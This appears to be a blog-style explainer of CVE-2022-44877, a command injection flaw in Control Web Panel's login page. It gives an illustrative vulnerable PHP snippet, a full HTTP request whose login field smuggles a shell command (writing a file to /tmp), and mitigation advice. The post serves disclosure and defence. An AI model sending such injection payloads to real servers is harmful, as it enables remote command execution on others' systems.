In this long-read post, we delve into the details of CVE-2022-44877, a severe vulnerability discovered in the CWP (Control Web Panel, also known as CentOS Web Panel) 7 before .9.8.1147. This critical flaw allows remote attackers to execute arbitrary Operating System (OS) commands via shell metacharacters in the "login" parameter of the "login/index.php" file. For context, CWP is a popular web hosting control panel used to quickly and efficiently manage Linux-based servers.

Let's take a closer look at this vulnerability, its implications, and the steps necessary to mitigate any risks associated with it.

Code Snippet

The vulnerable "login/index.php" file, specifically the "login" parameter, can be exploited by remote attackers to execute arbitrary OS commands using shell metacharacters. We will illustrate this with a simple code snippet:

// login/index.php
$login = $_POST['login'];
if (isset($login)) {
   // ... More code here ...
   $result = exec("some_command $login");
}

In this example, the $login variable, which comes from the user's input (the 'login' POST parameter), is passed into the exec() function without proper sanitization of shell metacharacters like ';', '|', or '&'. As a result, attackers can send crafted input that triggers OS command injection.

Exploit Details

To exploit this vulnerability, one must craft a malicious request to the "login/index.php" file with shell metacharacters included in the 'login' parameter, such as:

POST /login/index.php HTTP/1.1
Host: target_site.com
Content-Type: application/x-www-form-urlencoded

login=admin%27%3B%20echo%20%27Hello%2C%20World%21%27%20%3E%20/tmp/exploit%20%23&password=notimportant

This HTTP request sends the URL-encoded payload 'admin'; echo 'Hello, World!' > /tmp/exploit # as the 'login' parameter. When decoded and processed, this payload looks like the following:

admin'; echo 'Hello, World!' > /tmp/exploit #

The script sees 'admin' as the login value and then unknowingly processes the remaining text as OS commands, in this case, writing "Hello, World!" to a file '/tmp/exploit'.

Original References

This vulnerability, CVE-2022-44877, was initially reported in the National Vulnerability Database (NVD): NVD - CVE-2022-44877. The CVE entry was later updated with more information, which could be found in the MITRE CVE database: MITRE - CVE-2022-44877.

Mitigation

To mitigate the risks associated with CVE-2022-44877, users are strongly advised to update their CWP installations to version .9.8.1147 or later. In case upgrading is not immediately possible, users should take the following steps to prevent exploitation of this vulnerability:

1. Properly sanitize user input, such as the 'login' parameter, to neutralize shell metacharacters before passing the input to OS command execution functions like exec().
2. Implement a whitelist of allowed input values, denying requests containing unauthorized or unexpected data.
3. Regularly perform checks for updates and security patches for CWP and all other software used on the server.

In conclusion, CVE-2022-44877 is a critical vulnerability that enables remote attackers to execute arbitrary OS commands through CWP's "login/index.php" file. By following the mitigation steps outlined above, users can manage the risks and maintain the security of their servers. Stay informed on the latest updates and security advisories to ensure your systems remain protected.

Timeline

Published on: 01/05/2023 23:15:00 UTC
Last modified on: 04/06/2023 17:15:00 UTC